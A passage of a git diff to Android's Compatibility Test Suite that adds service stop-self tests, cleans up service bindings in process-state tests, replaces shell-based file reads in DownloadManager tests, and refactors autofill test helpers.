+                    stopSelf(mStartId);
+                    return true;
                 default:
                     return super.onTransact(code, data, reply, flags);
             }
@@ -99,6 +110,7 @@
 
     @Override
     public void onStart(Intent intent, int startId) {
+        mStartId = startId;
         if (intent.getExtras() != null) {
             IBinderParcelable parcelable
                     = (IBinderParcelable) intent.getExtras().getParcelable(REPORT_OBJ_NAME);
@@ -130,7 +142,11 @@
     @Override
     public boolean onUnbind(Intent intent) {
         if (mReportObject != null) {
-            bindAction(UNBIND_CODE);
+            if (mIsStoppedSelfSuccess) {
+                bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
+            } else {
+                bindAction(UNBIND_CODE);
+            }
         }
         return true;
     }
diff --git a/tests/app/app/src/android/app/stubs/LocalStoppedService.java b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
new file mode 100644
index 0000000..b569f95
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+public class LocalStoppedService extends LocalService
+{
+}
+
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index d5cb466..2a0e096 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -61,6 +61,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -158,6 +159,18 @@
     private void turnScreenOn() throws Exception {
         executeShellCmd("input keyevent KEYCODE_WAKEUP");
         executeShellCmd("wm dismiss-keyguard");
+        /*
+        Wait until the screen becomes interactive to start the test cases.
+        Otherwise the procstat may start in TOP_SLEEPING state, and this
+        causes test case testBackgroundCheckActivityService to fail.
+        Note: There could still a small chance the procstat is TOP_SLEEPING
+        when the predicate returns true. 
+        */
+        CommonTestUtils.waitUntil("Device does not wake up after 5 seconds",
+            5,
+            () ->  {
+                return isScreenInteractive() && !isKeyguardLocked();
+            });
     }
 
     private void removeTestAppFromWhitelists() throws Exception {
@@ -1461,6 +1474,12 @@
             // Check that the app's proc state has fallen
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
         } finally {
             uid1Watcher.finish();
             uid3Watcher.finish();
@@ -1536,6 +1555,15 @@
 
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+            // Stop the foreground service
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Watcher.finish();
             uid2Watcher.finish();
@@ -1603,6 +1631,18 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Watcher.finish();
             uid2Watcher.finish();
@@ -1715,6 +1755,11 @@
                     mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
             mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
 
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
         } finally {
             shutdownWatchers();
         }
@@ -1746,6 +1791,12 @@
                     STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
             mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_TOP);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
         } finally {
             shutdownWatchers();
             if (activity != null) {
@@ -1867,6 +1918,14 @@
             uid3Listener.waitForValue(
                     IMPORTANCE_CACHED,
                     IMPORTANCE_CACHED);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Listener.unregister();
             uid1ServiceListener.unregister();
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
index ee1758d..4b0fc78 100644
--- a/tests/app/src/android/app/cts/ApplicationTest.java
+++ b/tests/app/src/android/app/cts/ApplicationTest.java
@@ -16,11 +16,16 @@
 
 package android.app.cts;
 
+import static org.mockito.Mockito.CALLS_REAL_METHODS;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
 import android.app.Activity;
 import android.app.Application;
 import android.app.Instrumentation;
 import android.app.stubs.MockApplication;
 import android.app.stubs.MockApplicationActivity;
+import android.content.ComponentCallbacks2;
 import android.content.Context;
 import android.content.Intent;
 import android.test.InstrumentationTestCase;
@@ -56,6 +61,17 @@
         assertTrue(waitForOnConfigurationChange(mockApp));
     }
 
+    public void testOnTrimMemory() {
+        final int level = 2;
+        Application app = new Application();
+        ComponentCallbacks2 mockCallBack2 = mock(ComponentCallbacks2.class, CALLS_REAL_METHODS);
+        app.registerComponentCallbacks(mockCallBack2);
+
+        app.onTrimMemory(level);
+
+        verify(mockCallBack2).onTrimMemory(level);
+    }
+
     // Font scale is a global configuration.
     // This function will delete any previous font scale changes, apply one, and remove it.
     private void toggleFontScale() throws Throwable {
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3a81e61..ddb3c17 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -107,20 +107,17 @@
         }
     }
 
-    protected Uri getMediaStoreUri(Uri downloadUri) throws Exception {
-        // Need to pass in the user id to support multi-user scenarios.
-        final int userId = getUserId();
-        final String cmd = String.format("content query --uri %s --projection %s --user %s",
-                downloadUri, DownloadManager.COLUMN_MEDIASTORE_URI, userId);
-        final String res = runShellCommand(cmd).trim();
-        final String str = DownloadManager.COLUMN_MEDIASTORE_URI + "=";
-        final int i = res.indexOf(str);
-        if (i >= 0) {
-            return Uri.parse(res.substring(i + str.length()));
+    protected static Uri getMediaStoreUri(Uri downloadUri) throws Exception {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        Cursor cursor = context.getContentResolver().query(downloadUri, null, null, null);
+        if (cursor != null && cursor.moveToFirst()) {
+            // DownloadManager.COLUMN_MEDIASTORE_URI is not a column in the query result.
+            // COLUMN_MEDIAPROVIDER_URI value maybe the same as COLUMN_MEDIASTORE_URI but NOT
+            // guaranteed.
+            int index = cursor.getColumnIndexOrThrow(DownloadManager.COLUMN_MEDIAPROVIDER_URI);
+            return Uri.parse(cursor.getString(index));
         } else {
-            throw new FileNotFoundException("Failed to find "
-                    + DownloadManager.COLUMN_MEDIASTORE_URI + " for "
-                    + downloadUri + "; found " + res);
+            throw new FileNotFoundException("Failed to find entry for " + downloadUri);
         }
     }
 
@@ -154,7 +151,8 @@
 
     protected static String readFromRawFile(String filePath) throws Exception {
         Log.d(TAG, "Reading form file: " + filePath);
-        return runShellCommand("cat " + filePath);
+        return readFromFile(
+            ParcelFileDescriptor.open(new File(filePath), ParcelFileDescriptor.MODE_READ_ONLY));
     }
 
     protected static String readFromFile(ParcelFileDescriptor pfd) throws Exception {
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 697fe18..6e77fea 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -342,6 +342,11 @@
     private void cancelAndPoll(int id) {
         mNotificationManager.cancel(id);
 
+        try {
+            Thread.sleep(500);
+        } catch (InterruptedException ex) {
+            // pass
+        }
         if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
             fail("canceled notification was still alive, id=" + id);
         }
@@ -2626,8 +2631,10 @@
             // Should be foreground now
             a.sendBubble(1);
 
+            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
+
             if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
-                    true /* shouldExist */, true /* shouldBeBubble */)) {
+                    true /* shouldExist */, shouldBeBubble)) {
                 fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
             }
 
@@ -2638,8 +2645,6 @@
             // The notif should be allowed to update as a bubble
             a.sendBubble(2);
 
-            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
-
             if (!checkNotificationExistence(BUBBLE_NOTIF_ID,
                     true /* shouldExist */, shouldBeBubble)) {
                 fail("couldn't find posted notification bubble with id=" + BUBBLE_NOTIF_ID);
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 6649346..5486082 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -29,6 +29,7 @@
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
 import android.app.stubs.LocalService;
+import android.app.stubs.LocalStoppedService;
 import android.app.stubs.NullService;
 import android.app.stubs.R;
 import android.content.ComponentName;
@@ -77,6 +78,7 @@
     private static final int STATE_DESTROY = 4;
     private static final int STATE_REBIND = 5;
     private static final int STATE_UNBIND_ONLY = 6;
+    private static final int STATE_STOP_SELF_SUCCESS_UNBIND = 6;
     private static final int DELAY = 5000;
     private static final
         String EXIST_CONN_TO_RECEIVE_SERVICE = "existing connection to receive service";
@@ -220,6 +222,46 @@
         }
     }
 
+    private class TestStopSelfConnection extends TestConnection {
+        private IBinder mService;
+
+        public TestStopSelfConnection() {
+            super(false /* expectDisconnect */, true /* setReporter */);
+        }
+
+        private void executeTransact(int code) {
+            Parcel data = Parcel.obtain();
+            data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+            try {
+                mService.transact(code, data, null /* reply */, 0);
+            } catch (RemoteException e) {
+                finishBad("DeadObjectException when sending reporting object");
+            }
+            data.recycle();
+        }
+
+        public void stopSelf() {
+            executeTransact(LocalService.STOP_SELF_CODE);
+        }
+
+        public void stopSelfResult() {
+            executeTransact(LocalService.STOP_SELF_RESULT_CODE);
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mService = service;
+            super.onServiceConnected(name, service);
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            synchronized (this) {
+                mService = null;
+            }
+        }
+    }
+
     final class IsolatedConnection implements ServiceConnection {
         private IBinder mService;
         private int mUid;
@@ -756,12 +798,70 @@
                             + mExpectedServiceState + ")");
                 }
                 return true;
+            } else if (code == LocalService.STOP_SELF_SUCCESS_UNBIND_CODE) {
+                data.enforceInterface(LocalService.SERVICE_LOCAL);
+                if (mExpectedServiceState == STATE_STOP_SELF_SUCCESS_UNBIND) {
+                    finishGood();
+                } else {
+                    finishBad("onUnbind() was called when not expected (state="
+                            + mExpectedServiceState + ")");
+                }
+                return true;
             } else {
                 return super.onTransact(code, data, reply, flags);
             }
         }
     }
 
+    public void testStopSelf() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_UNBIND;
+        conn.stopSelf();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
+
+    public void testStopSelfResult() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_STOP_SELF_SUCCESS_UNBIND;
+        conn.stopSelfResult();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
 
     public void testLocalStartClass() throws Exception {
         startExpectResult(mLocalService);
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
index 86bdda5..fe06c4f 100644
--- a/tests/app/src/android/app/cts/TaskDescriptionTest.java
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -57,8 +57,8 @@
 
     @Rule
     public ActivityTestRule<MockActivity> mTaskDescriptionActivity =
-        new ActivityTestRule<>(MockActivity.class,
-            false /* initialTouchMode */, false /* launchActivity */);
+            new ActivityTestRule<>(MockActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
 
     @Test
     public void testBitmapConstructor() throws Exception {
@@ -66,17 +66,37 @@
         final Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
         bitmap.eraseColor(0);
         activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap, TEST_COLOR));
-        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA);
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA, bitmap);
+
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap));
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA, bitmap);
     }
 
     @Test
     public void testResourceConstructor() throws Exception {
         final Activity activity = mTaskDescriptionActivity.launchActivity(null);
         activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA, TEST_COLOR));
-        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA);
+        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA, null);
+
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA));
+        assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA, null);
     }
 
-    private void assertTaskDescription(Activity activity, String label, int resId) {
+    @Test
+    public void testLabelConstructor() throws Exception {
+        final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+        activity.setTaskDescription(new TaskDescription(TEST_LABEL));
+        assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA, null);
+    }
+
+    @Test
+    public void testEmptyConstructor() throws Exception {
+        final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+        activity.setTaskDescription(new TaskDescription());
+        assertTaskDescription(activity, null, TEST_NO_DATA, null);
+    }
+
+    private void assertTaskDescription(Activity activity, String label, int resId, Bitmap bitmap) {
         final ActivityManager am = (ActivityManager) activity.getSystemService(ACTIVITY_SERVICE);
         List<RecentTaskInfo> recentsTasks = am.getRecentTasks(1 /* maxNum */, 0 /* flags */);
         if (!recentsTasks.isEmpty()) {
@@ -84,7 +104,7 @@
             if (activity.getTaskId() == info.id) {
                 final TaskDescription td = info.taskDescription;
                 assertNotNull(td);
-                if (resId == TEST_NO_DATA) {
+                if (bitmap != null) {
                     // TaskPersister at the worst case scenario waits 3 secs (PRE_TASK_DELAY_MS) to
                     // write the image to disk if its write time has ended
                     waitFor("TaskDescription's icon is null", () -> td.getIcon() != null);
diff --git a/tests/autofillservice/OWNERS b/tests/autofillservice/OWNERS
index d924ccc..eac063b 100644
--- a/tests/autofillservice/OWNERS
+++ b/tests/autofillservice/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 351486
 felipeal@google.com
+svetoslavganov@google.com
+adamhe@google.com
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
index a955587..6884f06 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
@@ -173,4 +173,11 @@
         }
         super.finish();
     }
+
+    /**
+     * Clears focus from input fields.
+     */
+    public void clearFocus() {
+        throw new UnsupportedOperationException("Not implemented by " + getClass());
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
index b9d631e..6e7b475 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractGridActivityTestCase.java
@@ -60,7 +60,7 @@
         try {
             event = mUiBot.waitForWindowChange(() -> mActivity.focusCell(row, column),
                     Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (TimeoutException ex) {
+        } catch (WindowChangeTimeoutException ex) {
             // no window events! looking good
             return;
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
index c0b2994..e7c0cf7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractLoginActivityTestCase.java
@@ -55,7 +55,7 @@
         try {
             event = mUiBot.waitForWindowChange(() -> mActivity.onUsername(View::requestFocus),
                     Timeouts.WINDOW_CHANGE_NOT_GENERATED_NAPTIME_MS);
-        } catch (TimeoutException ex) {
+        } catch (WindowChangeTimeoutException ex) {
             // no window events! looking good
             return;
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 0338851..691ee97 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -196,15 +196,15 @@
         @ClassRule
         public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule();
 
+        protected static final RequiredFeatureRule sRequiredFeatureRule =
+                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+
         private final TestWatcher mTestWatcher = new AutofillTestWatcher();
 
         private final RetryRule mRetryRule = new RetryRule(getNumberRetries());
 
         private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
 
-        private final RequiredFeatureRule mRequiredFeatureRule =
-                new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
-
         protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
                 .setDumper(mLoggingRule)
                 .run(() -> sReplier.assertNoUnhandledFillRequests())
@@ -214,8 +214,8 @@
         @Rule
         public final RuleChain mLookAllTheseRules = RuleChain
                 //
-                // mRequiredFeatureRule should be first so the test can be skipped right away
-                .outerRule(mRequiredFeatureRule)
+                // requiredFeatureRule should be first so the test can be skipped right away
+                .outerRule(getRequiredFeaturesRule())
                 //
                 // mTestWatcher should always be one the first rules, as it defines the name of the
                 // test being ran and finishes dangling activities at the end
@@ -288,6 +288,17 @@
         }
 
         /**
+         * Gets a rule that defines which features must be present for this test to run.
+         *
+         * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
+         * but subclass can override to be more specific.
+         */
+        @NonNull
+        protected TestRule getRequiredFeaturesRule() {
+            return sRequiredFeatureRule;
+        }
+
+        /**
          * Gets the test-specific {@link Rule @Rule}.
          *
          * <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index cabdee3..4aa0858 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -305,6 +305,9 @@
         // Autofill it.
         mUiBot.selectDataset("dataset");
 
+        // TODO(b/137856201): Fix race condition in getSelectedItemPosition().
+        Thread.sleep(1000);
+
         if (expectAutoFill) {
             // Check the results.
             spinnerWatcher.assertAutoFilled();
@@ -524,7 +527,7 @@
 
     @Test
     public void autofillInvalidListValueToRadioGroup() throws Exception {
-        autofillListValue(AutofillValue.forList(-1), 0, false);
+        autofillRadioGroup(AutofillValue.forList(-1), 0, false);
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 97cacc2..06c0e00 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -896,7 +896,18 @@
             @NonNull String serviceName) {
         if (isAutofillServiceEnabled(serviceName)) return;
 
+        // Sets the setting synchronously. Note that the config itself is sets synchronously but
+        // launch of the service is asynchronous after the config is updated.
         SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
+
+        // Waits until the service is actually enabled.
+        try {
+            Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
+                return isAutofillServiceEnabled(serviceName) ? serviceName : null;
+            });
+        } catch (Exception e) {
+            throw new AssertionError("Enabling Autofill service failed.");
+        }
     }
 
     /**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 75b92ec..efd001f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -232,9 +232,7 @@
         syncRunOnUiThread(() -> v.visit(mUsernameEditText));
     }
 
-    /**
-     * Clears focus from input fields by focusing on the parent layout.
-     */
+    @Override
     public void clearFocus() {
         syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 2c154eb..0dbfc73 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2087,7 +2087,7 @@
         mActivity.expectAutoFill("dude", "sweet");
 
         // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME, false).click();
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
 
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
@@ -2121,7 +2121,7 @@
         mActivity.expectAutoFill("dude", "sweet");
 
         // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME, true).click();
+        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
 
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 2e56a02..ff884ce 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -760,9 +760,8 @@
      * faster.
      *
      * @param id resource id of the field.
-     * @param expectOverflow whether overflow menu should be shown (when clipboard contains text)
      */
-    public UiObject2 getAutofillMenuOption(String id, boolean expectOverflow) throws Exception {
+    public UiObject2 getAutofillMenuOption(String id) throws Exception {
         final UiObject2 field = waitForObject(By.res(mPackageName, id));
         // TODO: figure out why obj.longClick() doesn't always work
         field.click(3000);
@@ -771,31 +770,36 @@
                 By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
         final String expectedText = getAutofillContextualMenuTitle();
 
-        if (expectOverflow) {
-            // Check first menu does not have AUTOFILL
-            for (UiObject2 menuItem : menuItems) {
-                final String menuName = menuItem.getText();
-                if (menuName.equalsIgnoreCase(expectedText)) {
-                    throw new IllegalStateException(expectedText + " in context menu");
-                }
-            }
-
-            final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
-
-            // Click overflow menu button.
-            final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
-            overflowMenu.click();
-
-            // Wait for overflow menu to show.
-            mDevice.wait(Until.gone(overflowSelector), 1000);
-        }
-
-        menuItems = waitForObjects(
-                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
         final StringBuffer menuNames = new StringBuffer();
+
+        // Check first menu for AUTOFILL
         for (UiObject2 menuItem : menuItems) {
             final String menuName = menuItem.getText();
             if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in first menu");
+                return menuItem;
+            }
+            menuNames.append("'").append(menuName).append("' ");
+        }
+
+        menuNames.append(";");
+
+        // First menu does not have AUTOFILL, check overflow
+        final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
+
+        // Click overflow menu button.
+        final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
+        overflowMenu.click();
+
+        // Wait for overflow menu to show.
+        mDevice.wait(Until.gone(overflowSelector), 1000);
+
+        menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
+        for (UiObject2 menuItem : menuItems) {
+            final String menuName = menuItem.getText();
+            if (menuName.equalsIgnoreCase(expectedText)) {
+                Log.v(TAG, "AUTOFILL found in overflow menu");
                 return menuItem;
             }
             menuNames.append("'").append(menuName).append("' ");
@@ -894,19 +898,24 @@
      * Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
